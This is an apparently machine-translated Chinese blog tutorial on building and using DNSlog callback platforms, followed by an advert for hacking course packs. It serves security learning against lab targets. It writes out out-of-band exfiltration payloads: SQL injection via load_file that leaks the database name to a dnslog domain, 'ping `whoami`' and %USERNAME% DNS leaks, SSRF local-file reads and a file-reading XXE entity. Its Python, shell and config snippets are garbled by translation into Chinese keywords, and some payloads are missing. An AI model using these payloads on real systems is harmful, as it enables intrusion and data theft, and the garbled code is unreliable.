【安全工具】DNSlog工具原理搭建及使用(非常详细)零基础入门到精通,收藏这一篇就够了

【安全工具】DNSlog工具原理搭建及使用(非常详细)零基础入门到精通,收藏这一篇就够了 网安教育
培养网络安全人才
技术交流、学习咨询
DNSlog是什么
PART.01
DNS就是将域名解析为ip,用户在浏览器上

网络安全教育

培养网络安全人才

技术交流、学习咨询

什么是DNS 日志?

第01部分

DNS 将域名解析为IP。当用户在浏览器中输入域名A.com时,DNS服务器必须将A.com解析为真实IP地址127.0.0.1,以便用户可以在浏览器上访问该IP地址。对应127.0.0.1服务器。 那么什么是DNSlog呢? DNSlog是存储在DNS服务器上的域名信息,类似于记录用户对www.baidu.com等域名的访问信息的日志文件。

DNSlog回显原理

第02部分

域名分类和域名解析过程(DNS)

互联网使用分层树形结构的命名方案。域是命名空间内的可管理划分(按组织结构划分)。一个域名可以分为子域名,子域名从右到左又分为顶级域名、二级域名、三级域名等等,三级域名。等等,用点分隔。喜欢:

百度网

它由三个标签组成:com为顶级域名,baidu为二级域名,tieba为三级域名。此外,域名不区分大小写。

例如,您注册了域名luomiweixiong.com,并将其A记录平移到139.x.x.x。这样,您输入的任何记录值都将被解析并在开始时指向139.x.x.x。当您向DNS 服务器发送test.luomiweixiong.com 的解析请求时,DNS 日志会记录test.luomiweixiong.com 已被解析,解析值为139.x.x.x。

免费平台

第03部分

1http://www.dnslog.cn
2http://admin.dnslog.link
3http://cey.io

http://www.dnslog.cn 如何使用

(1) Get SubDomain 表示获取子域名,即获得三级域名。复制后,打开一个新网页并粘贴URL 来访问它。

(2) 使用本机进行演示实验

使用ping 命令时,会使用DNS 解析。

使用ping 命令时,会使用DNS 解析。

系统在ping 命令之前解析%USERNAME% 值,并将其与a.com 组合,因此您可以从解析的日志中获取%USERNAME% 值。最后,ping 命令运行XF.a.com。向DNS服务器发送请求,解析域名对应的IP地址。此过程记录为DNSlog。

原则上,只要您的函数可以发出DNS 请求,DNSlog 注入都是可能的。

由于DNS 缓存,记录可能无法更新。此时,请更改新域名。

这同样适用于其他平台。

使用DNSlog 的地方

第04部分

目标不允许查看该信息,因此如果您可以发送请求,请尝试如何使用DNSlog —— 获取回显。

(1) SQL注入中的盲注入

(2)XSS盲打

(3)命令执行无回显

(4)无回波的SSRF

(5)无回显的XXE(盲XXE)

搭建您自己的DNSlog平台

第五部分

前提条件:具有公网IP地址和域名的VPS

域名可以使用freenom 网站、eu.org、pp.ua 进行注册。

使用Cloudflare 进行分析

Freenom的本地分析在中国很难使用,所以我们会改变它。

注册Cloudflare 帐户

设置域名

配置NameServer 以指向CloudFlare。

xxx.ns.cloudflare.com

xxx.ns.cloudflare.com

配置NS 记录

应用两个DNS 记录中的每一个。 NS 记录将子域log.where.cf 的DNS 服务器表示为ns.where,cf。

测试是否有效

在线Python2 DNS脚本

1#/usr/bin/python2
2# -*- 编码:utf-8 -*-
从3twisted.internet 导入reactor,defer
4fromTwisted.names导入客户端、DNS、错误、服务器
5 条记录={}
6类DynamicResolver(对象):
7 def _doDynamicResponse(自我,查询):
8 name=\’query.name.name\’ #更改域名
9 # 返回指定响应IP
10 IP=\’x.x.x.x\’
11 print(姓名+\’===\’+ip)
12 答案=dns.RRHeader(
13 名字=名字,
14 类型=dns.A,
15 cls=dns.IN,
16 ttl=0, # 这里设置DNS TTL为0
17 负载=dns.Record_A(地址=b\’%s\’%ip,ttl=0)
18)
19 个答案=[答案]
20个权限=[]
加21=[]
22 回复、权限、添加
23def查询(自我,查询,超时=无):
24 返回defer.succeed(self._doDynamicResponse(query))
25def main():
26 工厂=Server.DNSServerFactory(
27 client=[DynamicResolver(), client.Resolver(resolv=\’/etc/resolv.conf\’)]
28)
29 协议=dns.DNSDatagramProtocol(控制器=工厂)
30reactor.listenUDP(53,协议)
31reactor.run()
32if __name__==\’__main__\’:
33引发系统退出(main())

ubuntu上安装了python2和pip

1add-apt-repositoryuniverse
2 更新
安装3apt Python2
4curl https://bootstrap.pypa.io/pip/2.7/get-pip.py –输出get-pip.py
5python2 get-pip.py

注意:国内域名可能需要注册问题。

对于云服务器,请在防火墙中打开您自己的端口53

临时解决方案:

53端口被占用,lsof -i:53检查pid,kill -9 pid,ubuntu关闭systemctl并停止systemd-resolved。

长期有效:

如下设置vim /etc/systemd/resolved.conf 以关闭监控。

然后重启服务,systemctl restart systemd-resolved

vim /etc/resolv.conf

部署DNS服务

从github下载liunx版本的dnslog到你的vps。

https://github.com/yumusb/DNSLog-平台-Golang

https://github.com/lanyi1998/DNSlog-GO/releases/

https://github.com/chennqqi/godnslog

在Ubuntu 上完全干净地卸载Docker

1#docker –版本
2apt-get autoremove docker docker-ce docker-engine docker.iocontainerd runc
3# 删除docker,无需卸载。
4dpkg -l 码头工人|
5dpkg -l |grep ^rc|awk \'{print $2}\’ |sudo xargs dpkg -P
6# 卸载所有没有删除的docker相关插件(根据你电脑的实际情况)
7apt-get 自动删除docker-ce-*
8#删除docker相关配置目录
9rm -rf /etc/systemd/system/docker.service.d
10rm -rf /var/lib/docker
11##删除Docker相关配置目录
12docker –版本

DNSLog 平台Golang

下载

1git克隆https://github.com/yumusb/DNSLog-Platform-Golang

编辑配置文件

1cd DNSLog-平台-Golang
2 vi 配置.tomal

1[正面]
2template=\’index.html\’
3[返回]
4监听主机=\’0.0.0.0\’
5 个监听端口=11111
6 个域=[\’log.xxx.xx\’]
7cname=\’\’
8【基础知识】
9 选中=假
10用户名=\’yumu\’
11密码=\’yumusb\’

前端模板文件

后端监控的主机、端口、域名、CNAME响应

HTTP BASIC AUTH 是否打开(check=true)并设置密码?

进入环境设置

1go env -w GO111MODULE=on
2go环境-w

GOPROXY=https://goproxy.cn,direct #可选,如果你的家用机器无法访问github,则需要运行这个来配置{proxy}{management}

运行main.go 或运行nohup 运行main.go

库纳里

二进制展开:

1wget https://ghproxy.com/https://github.com/sudosammy/knary/releases/download/v3.3.1/knary-3.3.1-linux-amd64
2chmod +x knary-3.3.1-linux-amd64
3mvknary-3.3.1-linux-amd64knary
4./纳里

如果您的二进制文件不安全,您可以考虑使用Docker 快速构建:

1 导出GIT_SSL_NO_VERIFY=0
2git克隆http://ghproxy.com/https://github.com/sudosammy/knary.git
3# 编辑docker-compose.yaml信息
4vim docker-compose.yaml
您可以使用当前的.env文件来设置环境变量信息,也可以直接设置环境变量environment。您还可以设置CANARY_DOMAIN=CANARY_DOMAIN=log.xxxx。首先,这里是.xxx。

1 版本: ‘3.9’
2 服务:
3knary:
4 容器名称:knary
5 主机名:knary
6 始终重新启动:
7 环境文件:
8 – .env # 您还可以使用`environment` 键指定变量,如下所述。这将覆盖`env_file` 中的任何内容。
9#环境:
10# – DNS=真
11# – HTTP=true
12#-BIND_ADDR=127.0.0.1
13 – CANARY_DOMAIN=log.log4j2.ga
14#(等)
15 版本:
16个端口:
17 – “80:80”
18 – “443:443”
19 – “53:53/udp”
第20卷:
21 – ./certs:/certs/

编辑环境变量:

1vim.env
2#内容
3# 重命名为.env
4DNS=真
5HTTP=真
6BIND_ADDR=0.0.0.0
7CANARY_DOMAIN=log.log4j.ga
8LETS_ENCRYPT=xxxxx

@qq.com

9EXT_IP=1×1.xxx.1xx.x3

10调试=真

11LOG_FILE=knary.log

有两种方法可以快速配置HTTPS证书:

1)自签名证书

在当前目录下创建证书文件夹

1mkdir证书

openssl 创建证书

1sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ./certs/selfsigned.key -out ./certs/knary.crt

您可以根据需要输入信息

2) 让我们加密免费的https。与坎里一起来的。您所需要做的就是设置您的电子邮件地址。我们建议使用这个。

启动docker-compose

1# 卸载原来的Docker

2apt-get Remove -y 删除docker

3# 安装最新的Docker

4curl -fsSL https://get.docker.com | bash -s docker –mirror 阿里云

5# 安装docker-compose

6sudo 卷曲-L

7\’https://ghproxy.com/https://github.com/docker/compose/releases/download/v2.2.2/docker-compose-$(uname -s)-$(uname -m)\’-o /usr/bin/docker-compose

8sudo chmod +x /usr/bin/docker-compose

Ubuntu 构建过程可能会报告错误。只需更改/etc/resolv.conf中的值,如下所示:

1 个名称服务器8.8.8.8

2 名称服务器114.114.114.114

3 名称服务器127.0.0.53

4 名称服务器223.5.5.5

5 个选项edns0

如果不起作用,请参阅下文。

https://blog.csdn.net/booklijian/article/details/116491288?spm=1001.2101.3001.6661.1utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link Depth_1-utm_source=dis 但是,pc_relevant_t0。 none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_linkutm_relevant_index=1

为了兼容国内VPS,需要修改Dockerfile添加Golang代理。否则go get 将失败:

1RUN 导出GOPROXY=https://goproxy.io amp;amp;

日向

git下载

1git克隆https://github.com/Buzz2d0/Hyuga.git

2cd 雏田

修改config.xml文件

输入您自己的main 域名(例如log.xxx.xx)

将对应的ns修改为自己的ns域名,如ns.xxx.xx。

Docker快速构建:

1docker-compose 构建

2docker-组合-d

如果成功的话会如官网demo所示。

互动式

手工制作的

安装Golang 1.16.1环境:

1apt-get 更新

2apt-get-y升级

3apt安装-y gcc

4mkdir 临时文件

5cd/tmp

6wget https://dl.google.com/go/go1.16.1.linux-amd64.tar.gz

7tar -xvf go1.16.1.linux-amd64.tar.gz

8mv 转到/usr/local/

9echo \’导出GOROOT=/usr/local/go\’ ~/.profile

10echo \’导出GOPATH=$HOME/go\’ ~/.profile

11echo \’导出PATH=$GOPATH/bin:$GOROOT/bin:$PATH\’ ~/.profile

12 源码~/.profile

安装Interachsh 服务器

1go get -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest

码头工人构建

1docker运行projectdiscovery/interactsh-server:latest-domain log.log4j.ga

SSRF 盲打

第06部分

射击场练习

皮卡丘射击场的SSRF 漏洞示例:

我发现,当我点击链接时,通过URL参数将URL传递给后台,并且正在读取文件(由于靶场环境问题,诗文件url=http://127.0.0.1/lab/vul /ssrf/ssrf_info/info1 可能未正确读取).php ):

通过修改URL参数,可以利用SSRF漏洞进行内网端口发现,如下:

网址=http://127.0.0.1:3306

通过修改URL参数,可以利用SSRF漏洞读取本地文件,如下:

url=file:///C:/Windows/system32/drivers/etc/hosts

在DNSlog平台申请子域名,访问?url=https://img-home.csdnimg.cn/images/20230724024159.png?be=1origin_url=http://8b7b7d7c.log.xxx.cf如下。

XSS盲打

第07部分

在实战中,真正能造成致命伤害的XSS类型是存储型XSS,通常是从前到后攻击。如果执行,则不会被阻止。然而,对于从前端存储到后端的盲打XSS,绝对不可能通过警报来判断是否存在漏洞。弹出警报可确保管理员收到警报。而且,即使它在后台弹出,我们也看不到它。

例如,我这里有一个消息框并输入如下所示的有效负载:

好管理员!

script标签的src在加载后会自动请求,而http协议仍然使用dns协议,因此当管理员从留言板看到这条消息时,浏览器会自动请求http://testxss.a.com 。在这种情况下,DNSlog 中保留以下记录:

testxss.a.com 10.0.0.0

如果你在dnslog中看到这条记录,则说明存在盲打XSS。

射击场的XSS 盲打示例

以皮卡丘射击场的XSS 漏洞环境为例。

插入以触发弹出窗口。

然后插入:

在DNSlog平台上可以找到对应的请求记录。

您还可以在此处使用有效负载

XXE 盲打

第08部分

对于没有回显的XXE漏洞,也可以利用DNSlog平台进行漏洞检测。

XXE 盲靶靶场示例

以皮卡丘射击场的XXE漏洞环境为例。

首先,构建常规测试负载。

1?xml 版本=\’1.0\’?

2!DOCTYPE注意[

3!实体黑客“Tr0e”

四】

5 姓名黑客;/姓名

构造一个利用XXE漏洞读取本地文件的payload。

1?xml 版本=\’1.0\’?

2!DOCTYPE foo [

3!ENTITY xxe系统\’file:///c:/windows/win.ini\’]

4fooxxe;/foo

假设这是一个XXE无回显漏洞,或者您不知道服务器的操作系统或文件配置,则可以构造以下与DNSlog相关的payload:

]

xxe;

SQL盲注入

第09部分

无论是布尔盲注入还是基于时间的盲注入,在现代WAF的保护下,都需要频繁的请求来检索数据库中的值,这可能会导致IP封禁。结合DNSlog,可以完整、快速地检索数据。如果发生MySql盲注入,可以使用内置函数load_file()来完成DNSlog。 load_file()除了加载本地文件外,还可以发起对\\www.test.com等URL的请求。

SQL盲注射击场示例

下面以皮卡丘射击场SQL盲注(布尔)漏洞环境为例。

输入kobe’ and 1=1# 即可成功运行查询。

输入“kobe”且1=2# 查询失败:

输入有效负载以使用DNSlog 回显数据库名称。

?id=1’ and load_file(concat(‘\\\\\\\\’,(select database()),‘.stzi44.dnslog.cn\\\\abc’))+

注意:dnslog 注入仅在Windows 上可用。 load_file函数的主要目的是读取本地文件,因此拼接时必须前置。

上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入

RCE的盲打

**PART.**10

操作系统盲注方式

windows%variable%

linux反引号 variable 反引号

windows Payload:

%OS%.8b7b7d7c.log.xxx.cf

windows常用变量

1//变量 类型 描述
2//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
3//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
4//%CD% 本地 返回当前目录字符串。
5//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
6//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
7//%COMPUTERNAME% 系统 返回计算机的名称。
8//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
9//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
10//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
11//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
12//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
13//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
14//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
15//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
16//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
17//%PATH% 系统 指定可执行文件的搜索路径。
18//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
19//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
20//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
21//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
22//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
23//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
24//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
25//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
26//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
27//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
28//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
29//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
30//%USERNAME% 本地 返回当前登录的用户的名称。
31//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
32//%WINDIR% 系统 返回操作系统目录的位置。

如果是 Linux 环境,则 Payload 对应的应该为:

1ping `whoami`.8b7b7d7c.log.xxx.cf

参考:

https://bbs.ichunqiu.com/thread-61037-1-1.html

https://www.jianshu.com/p/0c1c23d80098

https://cloud.tencent.com/developer/news/221937

https://github.com/ADOOO/DnslogSqlinj

https://idc.wanyunshuju.com/aqst/1889.html

https://www.cnblogs.com/Chorder/p/9087386.html

https://www.jianshu.com/p/721b49c95d98

https://forum.butian.net/share/1055

https://blog.csdn.net/qq_43416157/article/details/116788106

https://cloud.tencent.com/developer/article/1710514

https://blog.csdn.net/booklijian/article/details/116491288?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&utm_relevant_index=1

https://blog.csdn.net/weixin_39190897/article/details/117197126

es !

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

#以上关于【安全工具】DNSlog工具原理搭建及使用(非常详细)零基础入门到精通,收藏这一篇就够了的相关内容来源网络仅供参考,相关信息请以官方公告为准!

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92736.html

(0)
CSDN的头像CSDN
上一篇 2024年6月28日
下一篇 2024年6月28日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注